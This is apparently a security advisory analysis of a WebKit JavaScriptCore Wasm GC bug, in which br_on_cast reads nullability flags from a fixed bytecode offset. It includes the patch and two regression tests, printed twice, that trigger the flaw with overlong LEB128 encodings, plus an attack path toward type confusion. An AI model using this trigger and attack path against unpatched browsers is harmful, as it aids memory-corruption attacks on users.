CVE-2026-65336
Overview
Background
- IPInt
- JSC’s “In-Place Interpreter” for WebAssembly: a metadata-driven interpreter that executes Wasm from compact side metadata generated at parse time, with hand-written assembly opcode handlers (
InPlaceInterpreter64.asm). - Wasm GC `br_on_cast` / `br_on_cast_fail`
- branch instructions that test whether a reference matches a target heap type and branch accordingly. They are encoded with the
0xfbGC prefix, a sub-opcode (0x18/0x19), a FLAGS byte, a branch label, and heap-type operands. - FLAGS byte
- a bitfield where bit 0 = “src nullable” and bit 1 = “dst nullable” (
allowNullfor the cast target). Correct cast semantics depend on reading this flag. - LEB128
- Wasm’s variable-length integer encoding. A value can be encoded canonically (one byte) or “overlong” (padded with
0x80continuation bytes). The GC sub-opcode is a LEB128, so0x19and0x99 0x80 0x00are both valid encodings of the same sub-opcode but occupy different numbers of bytes. - `RefTestCastMetadata`
- the side-metadata record for these ops (
WasmIPIntGenerator.h):{ int32_t toHeapType; uint8_t length; }before the fix. - MC / PC
- in the asm handler,
MCindexes the generated metadata andPCpoints into the raw bytecode stream.
Root Cause Analysis
In InPlaceInterpreter64.asm, the _br_on_cast and _br_on_cast_fail handlers derived the allowNull flag by re-reading the raw bytecode: loadb 2[PC] followed by rshifti 1 (“bit 1 = null2”). That hardcodes the FLAGS byte at a fixed offset (PC + 2) from the opcode, which is only correct when the GC sub-opcode is encoded canonically in a single byte. Because the sub-opcode is a LEB128, an attacker can encode it overlong (e.g. 0xfb 0x99 0x80 0x00 ...), shifting the real FLAGS byte to a different offset. The handler then reads some other byte of the instruction as the flags, producing a wrong allowNull for the ref cast — the cast’s null-handling diverges from the module’s actual semantics, even though both encodings denote the same instruction.
The patch removes the raw-bytecode read entirely and instead sources the flag from the parse-time metadata: loadb IPInt::RefTestCastMetadata::allowNull[MC]. To support that, RefTestCastMetadata gains a uint8_t allowNull field (WasmIPIntGenerator.h), and the three generators — IPIntGenerator::addRefTest, addRefCast, and addBranchCast in WasmIPIntGenerator.cpp — now take the real allowNull parameter (previously an unnamed/ignored bool) and store static_cast<uint8_t>(allowNull) into the metadata. Since the metadata is computed by the proper LEB128-aware decoder at generation time, the executed allowNull is independent of how the sub-opcode was encoded. The committed differential tests build the same module with canonical vs. overlong sub-opcode encodings and assert identical is_poisoned() results; divergence means the interpreter read the flags from a position the encoding moved. The advisory’s “unexpected Safari crash” wording understates a Wasm GC type-safety divergence.
br_on_cast nullability FLAGS byte from a hardcoded PC + 2 offset in the raw bytecode rather than from parse-time metadata, so an overlong LEB128 encoding of the GC sub-opcode shifted the flags and made the cast’s null-handling attacker-controlled.Attack Path
- Craft the module
Attacker builds a Wasm GC module using
br_on_cast/br_on_cast_failand encodes the GC sub-opcode overlong (0xfb 0x99 0x80 0x00 ...) so the real FLAGS byte no longer sits atPC + 2. - Reach IPInt
The module runs under the In-Place Interpreter tier, invoking the
_br_on_cast(_fail)asm handler. - Misread flags
The handler loads the wrong byte as
allowNull; the_ipint_extern_ref_testcall then applies incorrect null-handling for the cast. - Semantic divergence
A
ref.nullpasses (or fails) the cast contrary to the module’s declared nullability, so a null (or mistyped) reference is produced where a validated non-null/typed reference is expected (the test observes this as unexpected “poisoning” of a global). - Primitive Downstream operations treat the reference under the wrong type/nullability assumption — a Wasm GC type-confusion that can lead to a null/mistyped-reference dereference or further memory unsafety (exploitation strength inferred; the diff proves the semantic divergence).
Impact Assessment
allowNull for br_on_cast/br_on_cast_fail read from the wrong byte — which breaks Wasm GC reference type/null guarantees (type confusion). The concrete observed effect is a wrong cast outcome (a reference of the wrong nullability/type flowing downstream); a crash via null/mistyped dereference is the immediate consequence, and heap-level type confusion is a plausible escalation (inferred). Not a sandbox escape by itself.Files Changed
JSTests/wasm/stress/br-on-cast-fail-overlong-leb128.jsJSTests/wasm/stress/br-on-cast-overlong-leb128.jsSource/JavaScriptCore/llint/InPlaceInterpreter64.asmSource/JavaScriptCore/wasm/WasmIPIntGenerator.cppSource/JavaScriptCore/wasm/WasmIPIntGenerator.h
Audit Directions
- Hardcoded `N[PC]` reads in IPInt handlersAudit all
InPlaceInterpreter*.asmopcode handlers thatloadb/loadifrom fixedPCoffsets for operands that follow a LEB128-encoded sub-opcode; those offsets are invalid under overlong encodings and should come from metadata instead. - Overlong-encoding differentialsReview other GC and SIMD prefixed opcodes (
0xfb,0xfd) whose flags/immediates might be read from the bytecode rather than decoded metadata. - Dropped flag parametersGrep IPInt generators for formerly-unnamed
bool/flag parameters that were ignored at metadata-emission time, as elsewhere the same pattern could drop semantically significant flags.
Patch
diff --git a/Source/JavaScriptCore/llint/InPlaceInterpreter64.asm b/Source/JavaScriptCore/llint/InPlaceInterpreter64.asm
index 4833cb2b6f81..c572f822e86e 100644
--- a/Source/JavaScriptCore/llint/InPlaceInterpreter64.asm
+++ b/Source/JavaScriptCore/llint/InPlaceInterpreter64.asm
@@ -3585,9 +3585,7 @@ end)
ipintOp(_br_on_cast, macro()
validateOpcodeConfig(a1)
loadi IPInt::RefTestCastMetadata::toHeapType[MC], a1
- # fb 18 FLAGS
- loadb 2[PC], a2
- rshifti 1, a2 # bit 1 = null2
+ loadb IPInt::RefTestCastMetadata::allowNull[MC], a2
loadq [sp], a3
operationCall(macro() cCall3(_ipint_extern_ref_test) end)
@@ -3603,9 +3601,7 @@ end)
ipintOp(_br_on_cast_fail, macro()
validateOpcodeConfig(a1)
loadi IPInt::RefTestCastMetadata::toHeapType[MC], a1
- loadb 2[PC], a2
- # fb 19 FLAGS
- rshifti 1, a2 # bit 1 = null2
+ loadb IPInt::RefTestCastMetadata::allowNull[MC], a2
loadq [sp], a3
operationCall(macro() cCall3(_ipint_extern_ref_test) end)
diff --git a/Source/JavaScriptCore/wasm/WasmIPIntGenerator.cpp b/Source/JavaScriptCore/wasm/WasmIPIntGenerator.cpp
index fde5d1d88718..3cc1d04b57a4 100644
--- a/Source/JavaScriptCore/wasm/WasmIPIntGenerator.cpp
+++ b/Source/JavaScriptCore/wasm/WasmIPIntGenerator.cpp
@@ -1368,20 +1368,22 @@ WARN_UNUSED_RETURN PartialResult IPIntGenerator::addStructSet(ExpressionType, co
return { };
}
-WARN_UNUSED_RETURN PartialResult IPIntGenerator::addRefTest(ExpressionType, bool, int32_t heapType, bool, ExpressionType&)
+WARN_UNUSED_RETURN PartialResult IPIntGenerator::addRefTest(ExpressionType, bool allowNull, int32_t heapType, bool, ExpressionType&)
{
m_metadata->appendMetadata<IPInt::RefTestCastMetadata>({
heapType,
- static_cast<uint8_t>(getCurrentInstructionLength())
+ static_cast<uint8_t>(getCurrentInstructionLength()),
+ static_cast<uint8_t>(allowNull),
});
return { };
}
-WARN_UNUSED_RETURN PartialResult IPIntGenerator::addRefCast(ExpressionType, bool, int32_t heapType, ExpressionType&)
+WARN_UNUSED_RETURN PartialResult IPIntGenerator::addRefCast(ExpressionType, bool allowNull, int32_t heapType, ExpressionType&)
{
m_metadata->appendMetadata<IPInt::RefTestCastMetadata>({
heapType,
- static_cast<uint8_t>(getCurrentInstructionLength())
+ static_cast<uint8_t>(getCurrentInstructionLength()),
+ static_cast<uint8_t>(allowNull),
});
return { };
}
@@ -2661,11 +2663,12 @@ WARN_UNUSED_RETURN PartialResult IPIntGenerator::addBranchNull(ControlType& bloc
return { };
}
-WARN_UNUSED_RETURN PartialResult IPIntGenerator::addBranchCast(ControlType& block, ExpressionType, Stack&, bool, int32_t heapType, bool)
+WARN_UNUSED_RETURN PartialResult IPIntGenerator::addBranchCast(ControlType& block, ExpressionType, Stack&, bool allowNull, int32_t heapType, bool)
{
m_metadata->appendMetadata<IPInt::RefTestCastMetadata>({
heapType,
- 0
+ 0,
+ static_cast<uint8_t>(allowNull),
});
IPIntLocation here = { curPC(), curMC() };
diff --git a/Source/JavaScriptCore/wasm/WasmIPIntGenerator.h b/Source/JavaScriptCore/wasm/WasmIPIntGenerator.h
index 3eafe9b9e707..62852a399793 100644
--- a/Source/JavaScriptCore/wasm/WasmIPIntGenerator.h
+++ b/Source/JavaScriptCore/wasm/WasmIPIntGenerator.h
@@ -356,6 +356,7 @@ struct ArrayInitElemMetadata {
struct RefTestCastMetadata {
int32_t toHeapType;
uint8_t length;
+ uint8_t allowNull;
};
#pragma pack()
diff --git a/JSTests/wasm/stress/br-on-cast-fail-overlong-leb128.js b/JSTests/wasm/stress/br-on-cast-fail-overlong-leb128.js
new file mode 100644
index 000000000000..751087b87498
--- /dev/null
+++ b/JSTests/wasm/stress/br-on-cast-fail-overlong-leb128.js
@@ -0,0 +1,75 @@
+"use strict";
+// Canonical and overlong LEB128 encodings of a GC sub-opcode must produce
+// identical execution semantics. This test checks that for br_on_cast_fail
+// with FLAGS=0x03 - divergence means IPInt is reading the flags byte from a
+// position the encoding moved.
+
+function uleb(n) { const o=[]; do { let b=n&0x7f; n>>>=7; if(n) b|=0x80; o.push(b); } while(n); return o; }
+function section(id, b) { return [id, ...uleb(b.length), ...b]; }
+function str(s) { return [s.length, ...Array.from(s, c => c.charCodeAt(0))]; }
+
+function buildModule(brOnCastFail) {
+ const typeSec = [
+ 0x03,
+ 0x5f, 0x00, // type 0: (struct)
+ 0x60, 0x00, 0x00, // type 1: () -> void
+ 0x60, 0x00, 0x01, 0x7f, // type 2: () -> i32
+ ];
+ const funcSec = [0x02, 0x01, 0x02];
+ // global 0: (mut (ref null any)) init = (struct.new_default 0)
+ const globalSec = [0x01, 0x63, 0x6e, 0x01, 0xfb, 0x01, 0x00, 0x0b];
+ const exportSec = [
+ 0x02,
+ ...str("poison"), 0x00, 0x00,
+ ...str("is_poisoned"), 0x00, 0x01,
+ ];
+ const poisonBody = [
+ 0x00,
+ 0x02, 0x63, 0x6e, // block (result (ref null any))
+ 0xd0, 0x6e, // ref.null any
+ ...brOnCastFail, // br_on_cast_fail 0 (FLAGS=0x03 in either encoding)
+ 0x1a, // drop (drops the (ref null 0) cast result)
+ 0xfb, 0x01, 0x00, // struct.new_default 0
+ 0x0c, 0x00, // br 0
+ 0x0b,
+ 0x24, 0x00, // global.set 0
+ 0x0b,
+ ];
+ const checkBody = [
+ 0x00,
+ 0x23, 0x00, // global.get 0
+ 0xd1, // ref.is_null
+ 0x0b,
+ ];
+ const codeSec = [
+ 0x02,
+ ...uleb(poisonBody.length), ...poisonBody,
+ ...uleb(checkBody.length), ...checkBody,
+ ];
+ return new Uint8Array([
+ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
+ ...section(1, typeSec),
+ ...section(3, funcSec),
+ ...section(6, globalSec),
+ ...section(7, exportSec),
+ ...section(10, codeSec),
+ ]);
+}
+
+// prefix sub-op flags label ht1 ht2
+const CANONICAL = [0xfb, 0x19, 0x03, 0x00, 0x6e, 0x00];
+const OVERLONG = [0xfb, 0x99,0x80,0x00, 0x03, 0x00, 0x6e, 0x00];
+
+const a = new WebAssembly.Instance(new WebAssembly.Module(buildModule(CANONICAL)));
+const b = new WebAssembly.Instance(new WebAssembly.Module(buildModule(OVERLONG)));
+
+a.exports.poison();
+b.exports.poison();
+
+const rA = a.exports.is_poisoned();
+const rB = b.exports.is_poisoned();
+
+if (rA !== rB)
+ throw new Error("LEB encoding of GC sub-opcode affects br_on_cast_fail semantics: "
+ + "canonical=" + rA + " overlong=" + rB
+ + " — IPInt reads flags from PC at hardcoded offset");
diff --git a/JSTests/wasm/stress/br-on-cast-overlong-leb128.js b/JSTests/wasm/stress/br-on-cast-overlong-leb128.js
new file mode 100644
index 000000000000..acb7d7784641
--- /dev/null
+++ b/JSTests/wasm/stress/br-on-cast-overlong-leb128.js
@@ -0,0 +1,75 @@
+"use strict";
+// Canonical and overlong LEB128 encodings of a GC sub-opcode must produce
+// identical execution semantics. This test checks that for br_on_cast with
+// FLAGS=0x03 - divergence means IPInt is reading the flags byte from a
+// position the encoding moved.
+
+function uleb(n) { const o=[]; do { let b=n&0x7f; n>>>=7; if(n) b|=0x80; o.push(b); } while(n); return o; }
+function section(id, b) { return [id, ...uleb(b.length), ...b]; }
+function str(s) { return [s.length, ...Array.from(s, c => c.charCodeAt(0))]; }
+
+function buildModule(brOnCast) {
+ const typeSec = [
+ 0x03,
+ 0x5f, 0x00, // type 0: (struct)
+ 0x60, 0x00, 0x00, // type 1: () -> void
+ 0x60, 0x00, 0x01, 0x7f, // type 2: () -> i32
+ ];
+ const funcSec = [0x02, 0x01, 0x02];
+ // global 0: (mut (ref null 0)) init = (struct.new_default 0)
+ const globalSec = [0x01, 0x63, 0x00, 0x01, 0xfb, 0x01, 0x00, 0x0b];
+ const exportSec = [
+ 0x02,
+ ...str("poison"), 0x00, 0x00,
+ ...str("is_poisoned"), 0x00, 0x01,
+ ];
+ const poisonBody = [
+ 0x00,
+ 0x02, 0x63, 0x00, // block (result (ref null 0))
+ 0xd0, 0x6e, // ref.null any
+ ...brOnCast, // br_on_cast 0 (FLAGS=0x03 in either encoding)
+ 0x1a, // drop
+ 0xfb, 0x01, 0x00, // struct.new_default 0 (only reached if cast missed)
+ 0x0c, 0x00, // br 0
+ 0x0b,
+ 0x24, 0x00, // global.set 0
+ 0x0b,
+ ];
+ const checkBody = [
+ 0x00,
+ 0x23, 0x00, // global.get 0
+ 0xd1, // ref.is_null
+ 0x0b,
+ ];
+ const codeSec = [
+ 0x02,
+ ...uleb(poisonBody.length), ...poisonBody,
+ ...uleb(checkBody.length), ...checkBody,
+ ];
+ return new Uint8Array([
+ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
+ ...section(1, typeSec),
+ ...section(3, funcSec),
+ ...section(6, globalSec),
+ ...section(7, exportSec),
+ ...section(10, codeSec),
+ ]);
+}
+
+// prefix sub-op flags label ht1 ht2
+const CANONICAL = [0xfb, 0x18, 0x03, 0x00, 0x6e, 0x00];
+const OVERLONG = [0xfb, 0x98,0x80,0x00, 0x03, 0x00, 0x6e, 0x00];
+
+const a = new WebAssembly.Instance(new WebAssembly.Module(buildModule(CANONICAL)));
+const b = new WebAssembly.Instance(new WebAssembly.Module(buildModule(OVERLONG)));
+
+a.exports.poison();
+b.exports.poison();
+
+const rA = a.exports.is_poisoned();
+const rB = b.exports.is_poisoned();
+
+if (rA !== rB)
+ throw new Error("LEB encoding of GC sub-opcode affects br_on_cast semantics: "
+ + "canonical=" + rA + " overlong=" + rB
+ + " — IPInt reads flags from PC at hardcoded offset");
Regression Test / PoC
diff --git a/JSTests/wasm/stress/br-on-cast-fail-overlong-leb128.js b/JSTests/wasm/stress/br-on-cast-fail-overlong-leb128.js
new file mode 100644
index 000000000000..751087b87498
--- /dev/null
+++ b/JSTests/wasm/stress/br-on-cast-fail-overlong-leb128.js
@@ -0,0 +1,75 @@
+"use strict";
+// Canonical and overlong LEB128 encodings of a GC sub-opcode must produce
+// identical execution semantics. This test checks that for br_on_cast_fail
+// with FLAGS=0x03 - divergence means IPInt is reading the flags byte from a
+// position the encoding moved.
+
+function uleb(n) { const o=[]; do { let b=n&0x7f; n>>>=7; if(n) b|=0x80; o.push(b); } while(n); return o; }
+function section(id, b) { return [id, ...uleb(b.length), ...b]; }
+function str(s) { return [s.length, ...Array.from(s, c => c.charCodeAt(0))]; }
+
+function buildModule(brOnCastFail) {
+ const typeSec = [
+ 0x03,
+ 0x5f, 0x00, // type 0: (struct)
+ 0x60, 0x00, 0x00, // type 1: () -> void
+ 0x60, 0x00, 0x01, 0x7f, // type 2: () -> i32
+ ];
+ const funcSec = [0x02, 0x01, 0x02];
+ // global 0: (mut (ref null any)) init = (struct.new_default 0)
+ const globalSec = [0x01, 0x63, 0x6e, 0x01, 0xfb, 0x01, 0x00, 0x0b];
+ const exportSec = [
+ 0x02,
+ ...str("poison"), 0x00, 0x00,
+ ...str("is_poisoned"), 0x00, 0x01,
+ ];
+ const poisonBody = [
+ 0x00,
+ 0x02, 0x63, 0x6e, // block (result (ref null any))
+ 0xd0, 0x6e, // ref.null any
+ ...brOnCastFail, // br_on_cast_fail 0 (FLAGS=0x03 in either encoding)
+ 0x1a, // drop (drops the (ref null 0) cast result)
+ 0xfb, 0x01, 0x00, // struct.new_default 0
+ 0x0c, 0x00, // br 0
+ 0x0b,
+ 0x24, 0x00, // global.set 0
+ 0x0b,
+ ];
+ const checkBody = [
+ 0x00,
+ 0x23, 0x00, // global.get 0
+ 0xd1, // ref.is_null
+ 0x0b,
+ ];
+ const codeSec = [
+ 0x02,
+ ...uleb(poisonBody.length), ...poisonBody,
+ ...uleb(checkBody.length), ...checkBody,
+ ];
+ return new Uint8Array([
+ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
+ ...section(1, typeSec),
+ ...section(3, funcSec),
+ ...section(6, globalSec),
+ ...section(7, exportSec),
+ ...section(10, codeSec),
+ ]);
+}
+
+// prefix sub-op flags label ht1 ht2
+const CANONICAL = [0xfb, 0x19, 0x03, 0x00, 0x6e, 0x00];
+const OVERLONG = [0xfb, 0x99,0x80,0x00, 0x03, 0x00, 0x6e, 0x00];
+
+const a = new WebAssembly.Instance(new WebAssembly.Module(buildModule(CANONICAL)));
+const b = new WebAssembly.Instance(new WebAssembly.Module(buildModule(OVERLONG)));
+
+a.exports.poison();
+b.exports.poison();
+
+const rA = a.exports.is_poisoned();
+const rB = b.exports.is_poisoned();
+
+if (rA !== rB)
+ throw new Error("LEB encoding of GC sub-opcode affects br_on_cast_fail semantics: "
+ + "canonical=" + rA + " overlong=" + rB
+ + " — IPInt reads flags from PC at hardcoded offset");
diff --git a/JSTests/wasm/stress/br-on-cast-overlong-leb128.js b/JSTests/wasm/stress/br-on-cast-overlong-leb128.js
new file mode 100644
index 000000000000..acb7d7784641
--- /dev/null
+++ b/JSTests/wasm/stress/br-on-cast-overlong-leb128.js
@@ -0,0 +1,75 @@
+"use strict";
+// Canonical and overlong LEB128 encodings of a GC sub-opcode must produce
+// identical execution semantics. This test checks that for br_on_cast with
+// FLAGS=0x03 - divergence means IPInt is reading the flags byte from a
+// position the encoding moved.
+
+function uleb(n) { const o=[]; do { let b=n&0x7f; n>>>=7; if(n) b|=0x80; o.push(b); } while(n); return o; }
+function section(id, b) { return [id, ...uleb(b.length), ...b]; }
+function str(s) { return [s.length, ...Array.from(s, c => c.charCodeAt(0))]; }
+
+function buildModule(brOnCast) {
+ const typeSec = [
+ 0x03,
+ 0x5f, 0x00, // type 0: (struct)
+ 0x60, 0x00, 0x00, // type 1: () -> void
+ 0x60, 0x00, 0x01, 0x7f, // type 2: () -> i32
+ ];
+ const funcSec = [0x02, 0x01, 0x02];
+ // global 0: (mut (ref null 0)) init = (struct.new_default 0)
+ const globalSec = [0x01, 0x63, 0x00, 0x01, 0xfb, 0x01, 0x00, 0x0b];
+ const exportSec = [
+ 0x02,
+ ...str("poison"), 0x00, 0x00,
+ ...str("is_poisoned"), 0x00, 0x01,
+ ];
+ const poisonBody = [
+ 0x00,
+ 0x02, 0x63, 0x00, // block (result (ref null 0))
+ 0xd0, 0x6e, // ref.null any
+ ...brOnCast, // br_on_cast 0 (FLAGS=0x03 in either encoding)
+ 0x1a, // drop
+ 0xfb, 0x01, 0x00, // struct.new_default 0 (only reached if cast missed)
+ 0x0c, 0x00, // br 0
+ 0x0b,
+ 0x24, 0x00, // global.set 0
+ 0x0b,
+ ];
+ const checkBody = [
+ 0x00,
+ 0x23, 0x00, // global.get 0
+ 0xd1, // ref.is_null
+ 0x0b,
+ ];
+ const codeSec = [
+ 0x02,
+ ...uleb(poisonBody.length), ...poisonBody,
+ ...uleb(checkBody.length), ...checkBody,
+ ];
+ return new Uint8Array([
+ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
+ ...section(1, typeSec),
+ ...section(3, funcSec),
+ ...section(6, globalSec),
+ ...section(7, exportSec),
+ ...section(10, codeSec),
+ ]);
+}
+
+// prefix sub-op flags label ht1 ht2
+const CANONICAL = [0xfb, 0x18, 0x03, 0x00, 0x6e, 0x00];
+const OVERLONG = [0xfb, 0x98,0x80,0x00, 0x03, 0x00, 0x6e, 0x00];
+
+const a = new WebAssembly.Instance(new WebAssembly.Module(buildModule(CANONICAL)));
+const b = new WebAssembly.Instance(new WebAssembly.Module(buildModule(OVERLONG)));
+
+a.exports.poison();
+b.exports.poison();
+
+const rA = a.exports.is_poisoned();
+const rB = b.exports.is_poisoned();
+
+if (rA !== rB)
+ throw new Error("LEB encoding of GC sub-opcode affects br_on_cast semantics: "
+ + "canonical=" + rA + " overlong=" + rB
+ + " — IPInt reads flags from PC at hardcoded offset");